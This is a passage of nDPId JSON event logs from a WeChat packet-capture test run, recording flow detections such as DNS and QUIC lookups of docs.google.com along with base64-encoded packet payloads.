/sONdPiBRIpouggFT3FlKx\/fDgLnCGULTxVovjFOkyFtmxZr7Uria+NX8HGmqInZyOoCaUzJkmyOErr85oNLIkfmZhBVoz3dOZqRkh1r2D5cA+7lniVSrGmNhJDjSx\/MnmPenG2zlhwhohPZOmw8x3iil0fFfRhLfL4skO5+F9cWr2ubyIsDVHr50DYUB2KRS2DkKuQCeE8+q9qacLxXdA5dNSxaECKQicceGe1STkkllK8uqQF3YNkJ1ItkvU+SpoQdvRp2Aq4GDq62WMiMTorwWI8WZppBrszr5u+K9bYtGCM7adBAyCy\/eTCKdS81r1saR0nyIbzspG8eOQ1CW2GQocZf86PIA1GwDS6hB07xgELPp\/gqvACA2ZtdqvN++gZtxWCuksO1ijxpronOQLGvH69vAQRIYWg0FF0rARniBS86bidtnxx7DTUGChUcb0q6suXX6bOg3eq6qKexSyYa0fKIBIokFyJP\/+"} +00432{"flow_id":9,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":60,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167350,"pkt_ts_usec":539231,"pkt_caplen":72,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":72,"pkt_l4_len":38,"pkt":"eJKcD6iO8IQvSpdgCABFoAA6AABAADcRvOes2RdDwKgBZwG7yTMAJnCsAAYr4opWZHoPXiPXDtetp+RWij5Bf+N3uVPD\/CKR"} +00444{"flow_id":9,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":61,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167350,"pkt_ts_usec":562751,"pkt_caplen":80,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":80,"pkt_l4_len":46,"pkt":"8IQvSpdgeJKcD6iOCABFAABCvztAAEAR9UPAqAFnrNkXQ8kzAbsALs6hDDHWY7YNkySLB82utXxuM1jeW4I\/i0nY4r7ntsp3eUSD88EIprU="} +00473{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":62,"source":"wechat.pcap","alias":"nDPId-test","flow_id":10,"flow_packet_id":1,"flow_first_seen":1492167351026,"flow_last_seen":0,"flow_tot_l4_data_len":41,"flow_min_l4_data_len":41,"flow_max_l4_data_len":41,"flow_avg_l4_data_len":41,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"192.168.1.254","src_port":55862,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00435{"flow_id":10,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":62,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167351,"pkt_ts_usec":26518,"pkt_caplen":75,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":75,"pkt_l4_len":41,"pkt":"8IQvSpdgeJKcD6iOCABFAAA92FdAAEAR3aLAqAFnwKgB\/to2ADUAKSL33acBAAABAAAAAAAABGRvY3MGZ29vZ2xlA2NvbQAAAQAB"} +00652{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":62,"source":"wechat.pcap","alias":"nDPId-test","flow_id":10,"flow_packet_id":1,"flow_first_seen":1492167351026,"flow_last_seen":0,"flow_tot_l4_data_len":41,"flow_min_l4_data_len":41,"flow_max_l4_data_len":41,"flow_avg_l4_data_len":41,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"192.168.1.254","src_port":55862,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.GoogleDocs","breed":"Acceptable","category":"Collaborative"},"dns": {"query":"docs.google.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00641{"flow_id":10,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":63,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167351,"pkt_ts_usec":61131,"pkt_caplen":227,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":227,"pkt_l4_len":193,"pkt":"eJKcD6iO8IQvSpdgCABFoADVAABAAEARtMLAqAH+wKgBZwA12jYAwUoh3aeBgAABAAEABAAEBGRvY3MGZ29vZ2xlA2NvbQAAAQABwAwAAQABAAAA2QAE2DrGLsARAAIAAQACiyoABgNuczLAEcARAAIAAQACiyoABgNuczHAEcARAAIAAQACiyoABgNuczPAEcARAAIAAQACiyoABgNuczTAEcBPAAEAAQAFOEYABNjvIArAPQABAAEABS50AATY7yIKwGEAAQABAAUudAAE2O8kCsBzAAEAAQAFLnQABNjvJgo="} +00681{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":63,"source":"wechat.pcap","alias":"nDPId-test","flow_id":10,"flow_packet_id":2,"flow_first_seen":1492167351026,"flow_last_seen":1492167351061,"flow_tot_l4_data_len":234,"flow_min_l4_data_len":41,"flow_max_l4_data_len":193,"flow_avg_l4_data_len":117,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"192.168.1.254","src_port":55862,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.GoogleDocs","breed":"Acceptable","category":"Collaborative"},"dns": {"query":"docs.google.com","num_queries":1,"num_answers":9,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"216.58.198.46"}} +00482{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":64,"source":"wechat.pcap","alias":"nDPId-test","flow_id":11,"flow_packet_id":1,"flow_first_seen":1492167351067,"flow_last_seen":0,"flow_tot_l4_data_len":1358,"flow_min_l4_data_len":1358,"flow_max_l4_data_len":1358,"flow_avg_l4_data_len":1358,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"216.58.198.46","src_port":57591,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02206{"flow_id":11,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":64,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167351,"pkt_ts_usec":67458,"pkt_caplen":1392,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1392,"pkt_l4_len":1358,"pkt":"8IQvSpdgeJKcD6iOCABFAAVibQVAAEARaA3AqAFn2DrGLuD3AbsFTsxKDU3ZCrKMtFhpUTAzNQFnbJE8FVI6Xr9TUAWgAQAEQ0hMTx0AAABQQUQAIgEAAFNOSQAxAQAAU1RLAGsBAABWRVIAbwEAAENDUwB\/AQAATk9OQ58BAABNU1BDowEAAEFFQUSnAQAAVUFJRMgBAABTQ0lE2AEAAFRDSUTcAQAAUERNROABAABTUkJG5AEAAFNNSEzoAQAASUNTTOwBAABDVElN9AEAAE5PTlAUAgAAUFVCUzQCAABNSURTOAIAAFNDTFM8AgAAS0VYU0ACAABYTENUSAIAAENTQ1RIAgAAQ09QVEgCAABDQ1JUYAIAAElSVFRkAgAAQ0VUVggDAABDRkNXDAMAAFNGQ1cQAwAALS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS1kb2NzLmdvb2dsZS5jb21yl6H2wP73bUTm\/HO\/L6W7bp3Xhczs9ysCSmeki\/j96A7sEoRFEAE+SB65YLwp5s+42jMDuJu4lkMvUTAzNQHogWCSkhrofu2AhqIVgpFY8Kq3MDAwMDAwMDCSV1vE+gNbm7+W8XblWvpmJ\/49qGQAAABDQzIwQ2hyb21lLzU3LjAuMjk4Ny4xMzMgTGludXggeDg2XzY0Jc6XFWD7G7yXYXhVaoxdywAAAABYNTA5AAAQAAEAAAAeAAAAt6rwWAAAAADtcasM4uYqOdGcPkgWTuPinp6tSgmHbpcCw+LDtPZmZuBaJu0QIw4bgS6gnY4km2fVf4E4bxQZEQJVfGW2\/zkLZAAAAAEAAABDMjU1wgnkHLidnM3CCeQcuJ2czT2t9HxBefiRQAt7kKmueetXmAEAL+XPr519ndPJ3mPFBWs\/DigCPL0uG+UOo9PlVynP5lP7SYDz1bkGMXY1YNt3+9e\/xaovsHZwZUHeJNaLtZCflec\/IAM0fVlrvjwb6nbNCsXZz6\/cPg4kuVRS2mBg046WN6uU3IIy4QYEX9WeFcdSLySSFcZAp9Y92PScUgAJmXEYeE91IXZUb3jX3RMxTRdpIGidUSIrQaDk8neMszYOzIv3i7wAAPAAAABgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} +00640{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":64,"source":"wechat.pcap","alias":"nDPId-test","flow_id":11,"flow_packet_id":1,"flow_first_seen":1492167351067,"flow_last_seen":0,"flow_tot_l4_data_len":1358,"flow_min_l4_data_len":1358,"flow_max_l4_data_len":1358,"flow_avg_l4_data_len":1358,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"216.58.198.46","src_port":57591,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"QUIC.GoogleDocs","breed":"Acceptable","category":"Collaborative"},"quic": {"client_requested_server_name":"docs.google.com","user_agent":"Chrome\/57.0.2987.133 Linux x86_64"}} +01651{"flow_id":11,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":65,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167351,"pkt_ts_usec":67660,"pkt_caplen":969,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":969,"pkt_l4_len":935,"pkt":"8IQvSpdgeJKcD6iOCABFAAO7bQZAAEARabPAqAFn2DrGLuD3AbsDp2YqDU3ZCrKMtFhpUTAzNQJxZNfHCC8u2f35luXQX7wk8+5+gy499Uo4Fg20rRdDDy5CsdXoRXrF+phU81nis1nRDRx09GXiKDxOppPR5wHoCPv6GGJ1a2aSeKMbWb+zwKTlNc+IgrbKFFqH047ViEQZsFLjifeqmjWw3kLjF9wuTO5xmTDc8NygVX92ZUjcWiRsZklVVPx3NbEThZxDUrne5HeS9hEKQhiWqsRNFsJ5ZewxcV+5cYvvBeYiQR+kS3f\/LZqZAjI6Q5gDCFVg4IVHBTbsdm3CNW6MkXX6Z21DpqBMIia1Z2wV8I9lmIjOLOKjoJcu+pem0sj3G6u1FBaJ6UzuToaeQVFoQV1B7THlLpcbWhfyxWuv5Vq5Nhbvz\/hy9e3GvHaPkX2Ap3unG8P22QcYcGd\/BWZtvoWlpacJDV2epOkkS7tt5wlFKOWfO8\/5Yu\/gJ5xuBFw7XGdmQknr+9LaS3e8wZiMR1ZfimH2Wrss8HcQEl9TcUi0OPt7hg4vPxA1umUMgAjxmP3GICQIJ8v3MSyfSe36zfbmMnzMFR+cZ4RVKOKFuZsig3U7Qla3oB3K2bziFfb7gRL+hERHc4YgKgGNFngj+oqw2jdkj\/RqXvOIZPBl74wKoDpJdAAu0pwpTpg0OYCvwu\/ep3j0WkfwnzYcwnEEOfrkyBT8sslKLByrPD6217xh62Bp0UxecAcjRSXYnXrLG4gF\/OklBRUl9MWf17862YoGJ6mbQ8Q1BCG\/ur1PzAt2\/FqJ05MHkwrkRVSHl4pDeBaR66Du4ZmV0GBx989HTukTQy\/3OGUKXjAXhJdjcsLd1jo\/K0yDhk26WE7HHoqWgHvMgQjGE2RFzuX36OVzPCIEOwd9oe0YVvAfM\/rVc9genM5Hy7Sv8mutamuMH7bROMktPGAdZ\/IFx5w4VWad64HIS2eSUBLGRLvosHNSRrNdfupAMBGIyjJeytCFI+Ljtgl1sqegx6JwAaGxpjS+ZJjXdtHKXMd1GSxa\/aZjv\/gLSgGEeQHgpM0w997OPOSc\/oXhrMG2H9dPnVY0gxfZjD+EVSDAUqgCePMf4Xk+wruAsQ37\/lHXudBmH90ljRj8ye51wbrJXjVUKo39iLcU6hZ05\/StCBdO\/xPb895mMSP5JnWfCWFSaYGQN4FQQYatRm1PasNLHcHWO0PLezKCDM2gsmrDE3X\/KwGBhJhce2KxIu1Tjfe9ZeVoyy0Oxy0Bb7O\/93ta"} +02229{"flow_id":11,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":66,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167351,"pkt_ts_usec":121999,"pkt_caplen":1392,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1392,"pkt_l4_len":1358,"pkt":"eJKcD6iO8IQvSpdgCABFoAViAABAADcR3XLYOsYuwKgBZwG74PcFTmzaBOou0Nigzud3ZaOudETm8GBczN7q3HxIUIOzVIoPsD73AQkDw5o48VPCPgxwE9bagOsfguW4BXFTqIT1IIV5ThjijbPacPMIeuYY+tLcR\/SESotUnfD6k31MBpngxATfGEoS3TSTc9aVt2BKPUkJNXTxIqajXh4z+2CjCT16kZiox8Qmel6o7NAeDdJDfOL+51L\/G92mnF40IupMo8kyn6Yeya9Ad1Q2D\/p2FAN4KbvETwnyCCrN\/3BzK6jhLgRMRUMpD76aZzYbZwTnnjn5cPWJgIaiNlEoyxA7CP6REtuotFUshn\/4\/Je7Jbm8GzbVpuThmCVdHsCKO9eQafmXETXyGPOX37U\/+RYvpidmrbPADR3IJ0YyPcE55eQPeQ3SLMLpJR+N0H26d91w3L3p89mtepH0NeIecXxbZcygXiO3ouImKiBH5Sols1nP6qAehqtyidEipR4ZPAV4Xw0h5rAYVjkhxL41hJnSJmoocaWAxV46W2QvJzsrabDi5M9SzvhRJAsPZZY4K6G5dvQpS2uzTzQOzxWkGBlQl7RRRgKZIcNK4yIcQD0yIGCwwoktA2Ld1Idk2Cu5os+Y7KXAeUWL4EghycwrRGckuLuUQjKt2wiWE8fO7O4\/Lv2VZCpq74PXu3G5CCkcU65VQJeeZrPt8UoeqowDQ+esOAIZ137WnNojv8+UsGDeg+xMKBRUrYaoT8ER8YifN6riDqUjipfNYkbEn8ucoDGqAIlyleAS5\/XHM13il1iRyxEOLilein7LTbUQNfwFOf8EzXgCnR+IpNR4wHUKNWXhmNPOYokIP23Sl\/FaC5yeTIvYRTQb\/x8mhYj\/WIs05PouLe9Pt+TRR3N2YyYcD4kqZDJk1bVFKuF7bqCGCM51z3lvURyUWHByifpl1Q0srxqBnb92qDujj+Ug5Hs9Ty\/kFB8qHvx1Dfq78jAeHz0fzz7AMlq+79RPkRIGLCbIkRGUTiiYKOqV8DW1cQsg\/KZWg+kdRSdfwb30mOCaUqILvOyhuHsdt\/VlQOncdoNcoPzCka952teJvpu3kHP0JF00GT6\/QgvMxqqvMT68gpqKr7VNH2JM4rMWfmQe7d70oO4rLXnu5+c5UkqU4+\/yoY+zdy1UMw3UYnE\/RB4x5v7QiQt4jRnCl6tLIdDw9lQg9IzEnVZzw2lt7lY+\/FC4dmux3GBahkU7C9wFjO9v95glXVXJsAYEhvS3wJvsdmH9ydK\/F3zD4bHe6QH8wln\/KtF+\/2hcmCsTO+QWhFCYnQytBu\/Dd7UqbnYMeu6CvYKHngUiBNqyzWOGJEUUIwiWru1HLQ+oi18IFAgJS2Pl99aG5LYQ83XtdOxJ4pO0nKlJ0xc1wx6vqc9D94XgPsJhPmRnKuyWzZTwOjFjJ4fG3PqBIeO52giJ97T6kI1ufnseC2DoOQ7mgmmkhk1xFPh\/iCEO2sH8\/yvC3ciJ3q1jHvS6trEx0psWwZhrcKMoj6uJQAqWOx\/4VMZblPtRO0JRK2sKrnR0AuXFvTgyJJXrSQnKCt4f0Ie08Z0FhokeNmZugGY11eoMg2b0Ohw1Gcl+Nco\/Mm0dOR0d0ZzowYYFQVn8Z1G5U0v2I0P+bjqBg\/Oft0VL\/uESmpcBS8+q9YYq03mdZfyrm0Wll6v2MrVZ+luVDiDPf+2zCNGMeJyqwXqCBY\/GUBtV\/ORVHwTg4O9+bDUiGoGMfoIrfv0WX52viV1sxsvodgKw\/K7R89paaPWnO6gRTKekrbX0nVKtcWseMnbmEds6efJmpuqUD3hZqUyUuRhdxz6a7pUXagTh"} +00448{"flow_id":11,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":67,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167351,"pkt_ts_usec":122989,"pkt_caplen":83,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":83,"pkt_l4_len":49,"pkt":"8IQvSpdgeJKcD6iOCABFAABFbRRAAEARbRvAqAFn2DrGLuD3AbsAMQ6vDE3ZCrKMtFhpA7Y9jgNT0qCEjni6SuPZWM+AykfeqYgCOx\/sRFcfvEI="} +00435{"flow_id":11,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":68,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167351,"pkt_ts_usec":123228,"pkt_caplen":73,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":73,"pkt_l4_len":39,"pkt":"eJKcD6iO8IQvSpdgCABFoAA7AABAADcR4pnYOsYuwKgBZwG74PcAJ50WAALZroC++876tEf+28S7j2Ttku9RiL8OOFC5+3RXgA=="} +00445{"flow_id":11,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":69,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167351,"pkt_ts_usec":123407,"pkt_caplen":80,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":80,"pkt_l4_len":46,"pkt":"8IQvSpdgeJKcD6iOCABFAABCbRVAAEARbR3AqAFn2DrGLuD3AbsALv6EDE3ZCrKMtFhpBK1o18SKo\/qbz8U825\/VzcbL6V6+eFmxogbDKI4="} +00431{"flow_id":11,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":70,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167351,"pkt_ts_usec":126049,"pkt_caplen":72,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":72,"pkt_l4_len":38,"pkt":"eJKcD6iO8IQvSpdgCABFoAA6AABAADcR4prYOsYuwKgBZwG74PcAJs97AANw4OTyouUplCAQlCxyR5wFQ8L97KXJUGT9o9Kf"} +00431{"flow_id":11,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":71,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167351,"pkt_ts_usec":187679,"pkt_caplen":72,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":72,"pkt_l4_len":38,"pkt":"eJKcD6iO8IQvSpdgCABFoAA6AABAADcR4prYOsYuwKgBZwG74PcAJmLSAAThnIEPyE2iTeMUNqIIGc3pgi1qVvKpqLMzF+Gl"} +00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":72,"source":"wechat.pcap","alias":"nDPId-test","flow_id":12,"flow_packet_id":1,"flow_first_seen":1492167352068,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"64.233.167.188","src_port":36017,"dst_port":5228,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00422{"flow_id":12,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":72,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167352,"pkt_ts_usec":68255,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0ePFAAEAGFx7AqAFnQOmnvIyxFGy60MyoSq1b+oAQAO38PQAAAQEICgAwuQeFnMDK"} +00423{"flow_id":12,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":73,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167352,"pkt_ts_usec":122932,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"eJKcD6iO8IQvSpdgCABFoAA0OfYAACsGqnlA6ae8wKgBZxRsjLFKrVv6utDMqYAQAWVTqwAAAQEICoWdcMgAL7Ej"} +00821{"flow_id":11,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":74,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167352,"pkt_ts_usec":366369,"pkt_caplen":359,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":359,"pkt_l4_len":325,"pkt":"eJKcD6iO8IQvSpdgCABFoAFZAABAADcR4XvYOsYuwKgBZwG74PcBRQmsAAXfXTfs4CpU4zZDcNemGq3fAZVjuSRdySjI0P8ou9U96Fb95XNHQ5Ea8U4ZSmuUymwNiTNbhXsmzwKmBCuRJ4sBmMwptJChUKY0ESXRFy40FVrhyqSFvWzWYlYtv\/hZ43FRhBB9ZsIjDChwOu75W8VxLyhAf4IMvy51o+tsW0yS9eMLTBfOiyqz4NxBP0TuIqIFZQaIOrtR8uF6bo6A5KPpKxsXrQj5MdwsmOS+8COp2q0MzYzIgwFRgg62y0C\/lgco8tigwv3TFtazcfjpsxdmRBSghhQv+39dr+pAFDPhHgHiBhY9k3C6ydjauV5uApNmXzE1nG6gwZfdO2nzy3QDybZ6zVepjUf5UgvoZw3\/cp8oXD+UVRyQRlUziULxsVtRwqeiTfuyA5SFGNz7lnlALVNnIyGt8JlNqjk="} +00453{"flow_id":11,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":75,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167352,"pkt_ts_usec":366998,"pkt_caplen":87,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":87,"pkt_l4_len":53,"pkt":"eJKcD6iO8IQvSpdgCABFoABJAABAADcR4ovYOsYuwKgBZwG74PcANSDZAAauBtGOwFjLL1Lk85SZ2kaRRdWlzbgwiQR4YswhN4p3ezcTMujbIkqf\/FW9"} +00452{"flow_id":11,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":76,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167352,"pkt_ts_usec":367864,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"8IQvSpdgeJKcD6iOCABFAABIbddAAEARbFXAqAFn2DrGLuD3AbsANL1NDE3ZCrKMtFhpBQoBtYakBkLfRax+TOi6IfaF3077Z7hpEcpobbJ7derDkLk="} +00432{"flow_id":11,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":77,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167352,"pkt_ts_usec":371962,"pkt_caplen":70,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":70,"pkt_l4_len":36,"pkt":"eJKcD6iO8IQvSpdgCABFoAA4AABAADcR4pzYOsYuwKgBZwG74PcAJIY2AAeeeUXUuwqERc9o6KyNGYuNKj080+Ib8mkGTA=="} +00442{"flow_id":11,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":78,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167352,"pkt_ts_usec":398283,"pkt_caplen":77,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":77,"pkt_l4_len":43,"pkt":"8IQvSpdgeJKcD6iOCABFAAA\/bd1AAEARbFjAqAFn2DrGLuD3AbsAK7F2DE3ZCrKMtFhpBm7kl79oV\/7DDgt7GHK2JHDMxM8dDtJ486Q="} +00480{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":79,"source":"wechat.pcap","alias":"nDPId-test","flow_id":13,"flow_packet_id":1,"flow_first_seen":1492167353674,"flow_last_seen":0,"flow_tot_l4_data_len":230,"flow_min_l4_data_len":230,"flow_max_l4_data_len":230,"flow_avg_l4_data_len":230,"midstream":1,"l3_proto":"ip4","src_ip":"203.205.151.162","dst_ip":"192.168.1.103","src_port":443,"dst_port":54058,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00695{"flow_id":13,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":79,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167353,"pkt_ts_usec":674975,"pkt_caplen":264,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":264,"pkt_l4_len":230,"pkt":"eJKcD6iO8IQvSpdgCABFoAD6dwRAACwGsNrLzZeiwKgBZwG70ypPgUs4IVggsIAYAQuBHwAAAQEICkXRpIYAMKn\/FwMDAMGOrZUQQd+ekzcfermPixMN7baWMlCLOjLGRLUay7A9ywN4ZUGmiUXDO1gdTDC98QU1t8eAbnyMFUBj5qM3d0y5XCUUPMCeBhhxcxN\/8G4Ch12FyipeyhGtwqgzXcsPc5ZQsJ\/Yfu\/XdVaAYYDYsfkQdrrVo9IGd6i0jIOj1GEXv+MuFcw5UP8MbQ5QLfOihRir7leYEOxmHGeDrisZkZBhOzKLL2Q5myihhKQJ9yeXWCsp\/s4j9ebB8kfX1kVSE8Aa"} +00424{"flow_id":13,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":80,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167353,"pkt_ts_usec":675042,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0n8JAAEAGdYLAqAFny82XotMqAbshWCCwT4FL\/oAQAcj35wAAAQEICgAwuphF0aSG"} +00422{"flow_id":1,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":81,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167353,"pkt_ts_usec":687334,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0B7VAAEAGDZDAqAFny82XotNEAbsWJbkHbCUOQ4ARAk6RTgAAAQEICgAwuptF0Z5u"} +00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":82,"source":"wechat.pcap","alias":"nDPId-test","flow_id":14,"flow_packet_id":1,"flow_first_seen":1492167353687,"flow_last_seen":0,"flow_tot_l4_data_len":20,"flow_min_l4_data_len":20,"flow_max_l4_data_len":20,"flow_avg_l4_data_len":20,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.151.211","src_port":40741,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} 